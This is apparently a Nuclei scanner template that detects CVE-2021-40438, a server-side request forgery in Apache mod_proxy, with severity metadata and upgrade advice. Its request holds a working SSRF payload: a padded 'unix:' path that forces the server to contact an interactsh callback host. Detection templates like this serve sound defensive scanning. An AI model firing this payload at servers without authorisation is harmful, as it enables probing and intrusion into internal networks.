id: CVE-2021-40438

info:
  name: Apache <= 2.4.48 - Mod_Proxy SSRF
  author: pdteam
  severity: critical
  description: Apache 2.4.48 and below contain an issue where uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user.
  remediation: Upgrade to Apache version 2.4.49 or later.
  reference:
    - https://firzen.de/building-a-poc-for-cve-2021-40438
    - https://httpd.apache.org/security/vulnerabilities_24.html
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40438
    - https://cert-portal.siemens.com/productcert/pdf/ssa-685781.pdf
    - https://lists.apache.org/thread.html/r210807d0bb55f4aa6fbe1512be6bcc4dacd64e84940429fba329967a@%3Cusers.httpd.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9
    cve-id: CVE-2021-40438
    cwe-id: CWE-918
    epss-score: 0.972
    epss-percentile: 0.99778
    cpe: cpe:2.3:a:apache:http_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: apache
    product: http_server
  tags: cve,cve2021,ssrf,apache,mod-proxy,kev

http:
  - method: GET
    path:
      - '{{BaseURL}}/?unix:{{repeat("A", 7701)}}|http://{{interactsh-url}}'

    host-redirects: true
    max-redirects: 2

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Interactsh Server"

      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4b0a00483046022100851a9f972a6a2c5a3dfe8d2b90b0f08be78414536595de1199ad3f172f85da84022100c3f3532c87ceba25e399e4d30891a605f30ce2d8ae07fe5b7135ee66f97536ea:922c64590222798bb761d5b6d8e72950